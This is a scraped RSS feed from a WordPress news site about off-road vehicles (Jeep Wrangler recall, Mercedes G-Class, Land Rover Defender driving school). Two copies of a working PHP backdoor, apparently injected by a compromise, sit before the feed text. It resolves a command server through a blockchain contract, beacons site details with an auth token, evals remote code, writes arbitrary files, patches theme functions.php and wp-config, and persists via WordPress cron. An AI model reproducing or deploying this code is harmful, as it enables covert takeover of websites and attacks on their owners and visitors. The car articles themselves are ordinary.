// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); OffRoader – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sat, 06 Oct 2018 17:34:41 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png OffRoader – Brief News https://briefnews.eu 32 32 America’s Favorite Off-roader Recalled for On-road Danger https://briefnews.eu/americas-favorite-off-roader-recalled-for-on-road-danger/ https://briefnews.eu/americas-favorite-off-roader-recalled-for-on-road-danger/#respond Sat, 06 Oct 2018 17:34:41 +0000 http://briefnews.eu/americas-favorite-off-roader-recalled-for-on-road-danger/ A key component tasked with taming the Jeep Wrangler’s front live axle might not live up to expectations, forcing Fiat Chrysler Automobiles to issue a recall on 2018 and 2019 Wrangler JL models. The problem lies in a weld that, in about four percent of the recalled JLs, did not occur in the right place. […]

The post America’s Favorite Off-roader Recalled for On-road Danger appeared first on The Truth About Cars.

]]> https://briefnews.eu/americas-favorite-off-roader-recalled-for-on-road-danger/feed/ 0 Mercedes G-Class 2018 REVEALED – all-new and improved rugged off-roader revealed https://briefnews.eu/mercedes-g-class-2018-revealed-all-new-and-improved-rugged-off-roader-revealed/ https://briefnews.eu/mercedes-g-class-2018-revealed-all-new-and-improved-rugged-off-roader-revealed/#respond Mon, 15 Jan 2018 02:02:16 +0000 http://briefnews.eu/mercedes-g-class-2018-revealed-all-new-and-improved-rugged-off-roader-revealed/

Mercedes has revealed the new G-Class 2018 4×4 at the Detroit Auto Show. 

The German car manufacturer said the G-Class is “instantly recognisable” in terms of its design. 

Visually both the exterior and interior have been updated but the car retains the styling cues that made it iconic. 

It has the same rugged, solid boxy design that is unapologetically retro and familiar. 

The car will also still be made with a ladder type frame, three 100-per differential locks and low range gear. 

According to Dr. Dieter Zetsche, Chairman of the Board of Management of Daimler AG, 80 per cent of the G-Class models made over the decades still remain on the roads. 

This is a testament to its tough all-terrain character and timeless design. 

The Chairman said that while the car will be familiar to those who view it, every element has been improved or refined and is not just the old generation vehicle with a new badge. 

G-Class Torsional stiffness has improved by 55 per cent and the vehicle is 170kg lighter than the previous generation.

The independent front wheel suspension has also been tweaked to achieved smoother on road performance and off-road capability. 

It also comes with the latest safety assistance systems such as traffic sign assist and brake assist.

Wading depth has also bee increased to 700mm and a new waterproof rear cameras has been fitted under the rear tyre to help with reversing manoeuvres. 

Inside the cabin there is now 150mm more space in the rear and upgraded technology including the new dual-screen interior design. 

Two screens stretching from the drivers side into the centre console now control the car’s functions. 

The left screen takes the place of a traditional instrument cluster while the right takes care of navigation and infotainment.

A multi-functional steering wheel, with touch-sensitive controls for the infotainment system has also been added alongside a new electric handbrake and gear selector stalk.

Dieter Zetsche also teased that an electrified version of the car could also be in the pipeline. 

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]]> https://briefnews.eu/mercedes-g-class-2018-revealed-all-new-and-improved-rugged-off-roader-revealed/feed/ 0 The Once and Future Off-Roader: Land Rover’s Vintage Experience Hypes its Next Defender https://briefnews.eu/the-once-and-future-off-roader-land-rovers-vintage-experience-hypes-its-next-defender/ https://briefnews.eu/the-once-and-future-off-roader-land-rovers-vintage-experience-hypes-its-next-defender/#respond Sat, 23 Dec 2017 20:01:12 +0000 http://briefnews.eu/the-once-and-future-off-roader-land-rovers-vintage-experience-hypes-its-next-defender/ –Land Rover Defender Experience–Land Rover Defender Experience–Land Rover Defender Experience–Land Rover Defender Experience–Land Rover Defender Experience–Land Rover Defender Experience–Land Rover Defender Experience–Land Rover Defender Experience–Land Rover Defender Experience–Land Rover Defender Experience–Land Rover Defender Experience–Land Rover Defender Experience–Land Rover Defender Experience–Land Rover Defender Experience–Land Rover Defender Experience—

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]]> https://briefnews.eu/the-once-and-future-off-roader-land-rovers-vintage-experience-hypes-its-next-defender/feed/ 0 The Once and Future Off-Roader: Land Rover’s Heritage Experience Hypes Its Next Defender https://briefnews.eu/the-once-and-future-off-roader-land-rovers-heritage-experience-hypes-its-next-defender/ https://briefnews.eu/the-once-and-future-off-roader-land-rovers-heritage-experience-hypes-its-next-defender/#respond Sat, 23 Dec 2017 19:00:53 +0000 http://briefnews.eu/the-once-and-future-off-roader-land-rovers-heritage-experience-hypes-its-next-defender/ Land Rover Defender Experience

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Land Rover operates four off-road driving schools in North America—in Asheville, North Carolina; Carmel, California; Manchester, Vermont; and Montebello, Quebec. Each affords opportunities to drive unpaved terrain ranging from moderately difficult to creepy-crawly. The schools are a profitable enterprise that also serves a bigger purpose: selling new vehicles. Participants can use their personal vehicles or pilot a new Land Rover or Range Rover from the school fleets, but this year the parent company put a little spin on the programs, adding vintage Land Rover Defenders to the school inventories.

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The idea came from Kim McCullough, Jaguar Land Rover vice president of marketing for North America, a serious enthusiast whose résumé includes participation in Italy’s Mille Miglia revival in a personal Jaguar XK120. She saw this Defender Experience program as a way to help promote Land Rover’s impending 70th anniversary in 2018.

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Land Rover Defender Experience

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“Since it is the 70th anniversary, we want to help keep it alive,” said McCullough. “We thought, let’s put it out there and build some awareness.” And, of course, with a new Defender anticipated in the not-too-distant future, there’s more to the awareness aspect than touting Land Rover’s history.

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Active Heritage

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These Defenders are definitely not new vehicles. The Defender 90s and 110s are parceled out, one per school, for what is called the Land Rover Heritage Program. The numerical designations relate to their 90- and 110-inch wheelbases. The program is run separately from the standard Land Rover Experience, for which the entire Land Rover brand portfolio—Discovery, Discovery Sport, Evoque, Range Rover, and Range Rover Sport, and Velar—is represented.

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Let us put a finer point on “not new.” Tracing its roots back to the company’s 1948 origins, the Defender (née Series I) went through a half-dozen evolutionary updates before Land Rover punched its ticket on January 29, 2016. By that time, the Defender 90 had been absent from U.S. showrooms for almost 20 years. And the funky four-door 110, with its external roll bars, was in North America for a single model year, 1993, as a limited edition; 509 were sold in the U.S. and 23 in Canada.

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Like any out-of-production vehicle, especially one as well loved as this, Defenders have become serious collectibles, commanding escalating prices at auction. “We’ve already seen some going for six figures,” said McCullough. Also commanding six figures: a Series 1 restored by the factory.

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Rare as they may be here, some two million Defenders found their way into customers’ hands worldwide over the vehicle’s 67-year run, and about 75 percent of them are still in use, according to Land Rover. In the end, although sales were still reasonably strong, profitability kept losing altitude because of high labor costs. As a survivor from another era in manufacturing, the Defender’s assembly entailed too much handwork.

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Land Rover Defender Experience

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The Quail

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We signed up with the Land Rover school headquartered at the Quail Lodge in California’s Carmel Valley. Our Defender was a hardtop 90, model year 1996, and it was a testament to the assembly standards of its time. The body panels, for example, are secured by rivets, and panel gaps seem to have been conceived for auxiliary ventilation. External door hinges enhance the Defender’s rugged persona and also allow for easy removal of the doors. Another anachronism is that the Defender requires multiple keys: one for the ignition, one for the side door locks, and a third for the gas cap. The interior is spartan by today’s standards—no touchscreen, no navi, no Wi-Fi, minimalist audio—and our example showed signs of its two decades in service.

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While this is clearly a blast from the past, we are not talking Fred Flintstone here. There’s a 3.9-liter pushrod V-8 under the hood making 182 horsepower and 232 lb-ft of torque, mated to a five-speed manual transmission. The four-wheel-drive system employs a manually locking center differential and open differentials at both ends. The Defender rides a coil-spring suspension with control arms and anti-roll bars front and rear. Minimum ground clearance is 9.0 inches, maximum fording depth 20.0 inches, maximum forward approach angle is 51 degrees, and maximum departure is 36 degrees—figures that would be impressive on any current Land Rover or Range Rover product you can buy new today. There are disc brakes at all four corners, squeezed by four-piston calipers front and two-pistons rear.

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While these specs aren’t particularly impressive today, particularly in contrast to a Jeep Wrangler Rubicon, in the context of their times the Defenders were as rough and ready as any. And if the ’96 Defender seems a little dated, consider its distant ancestor. The design for the original Series I Land Rover was derived from that of a World War II Jeep, and it was primordial by today’s standards. The 1.6-liter pushrod four was rated for 50 horsepower, the suspension employed elliptical leaf springs, and concessions to comfort were few.

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On the other hand, the Series I box section frame was as solid as a bridge, the electrical system was 12 volts—a rarity at the time—and the four-wheel-drive system was similar to that of our ’96 Defender: open diffs, with a manual two-speed transfer case, a manually locking center differential, and a four-speed manual transmission.

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Land Rover Defender Experience

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The Carmel Labyrinth

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Land Rover’s Carmel Valley school involves a labyrinth of trails in the heavily wooded heights above the valley. During the dry summer months, the trails aren’t particularly difficult; occasional patches of deep dust pose the most significant traction challenges, and those are brief.

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It becomes more interesting in the winter, when rain makes the trails slurpy, but wet weather had not yet arrived when we made our visit in the late fall. Nevertheless, we emerged with a solid respect for this iconic Land Rover. It had a no-nonsense persona, but its off-road fun-to-drive factor was high.

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“When you’re driving the Defender,” McCullough observed, “you’re involved. When you’re in a manual Defender, you’re more involved.”

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Accompanied by Justin Demayo, a Monterey-area native who runs Land Rover’s Carmel Valley school and knows every twist and turn of its trails, we buckled up and rolled out of the parking lot and onto dirt.

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Two decades equate to old age for most vehicles, but our veteran Defender exhibited no geriatric symptoms as we motored up and down the dusty heights above Quail Lodge. The D90 trudged up even the steepest hills with only occasional brief episodes of wheelspin, motored down equally steep downhills at a comfortable crawl, and generally inspired confidence.

